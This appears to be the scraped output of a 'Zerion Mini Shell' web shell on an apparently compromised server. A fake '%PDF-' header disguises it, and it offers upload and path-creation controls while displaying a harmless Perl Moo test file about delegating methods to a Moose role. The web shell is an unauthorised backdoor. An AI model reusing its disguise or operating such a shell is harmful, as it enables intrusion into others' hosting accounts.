%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/xt/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/xt/moo-attr-handles-moose-role.t

use Moo::_strictures;

use Test::More;

{
   package MooseRole;
   use Moose::Role;

   sub warble { "warble" }
   $INC{"MooseRole.pm"} = __FILE__;
}

{
   package MooseClass;
   use Moose;
   with 'MooseRole';
}

{
  package MooClass;
  use Moo;

  has attr => (
      is => 'ro',
      handles => 'MooseRole',
  );
}

my $o = MooClass->new(attr => MooseClass->new);
isa_ok( $o, 'MooClass' );
can_ok( $o, 'warble' );
is( $o->warble, "warble", 'Delegated method called correctly' );

done_testing;

Zerion Mini Shell 1.0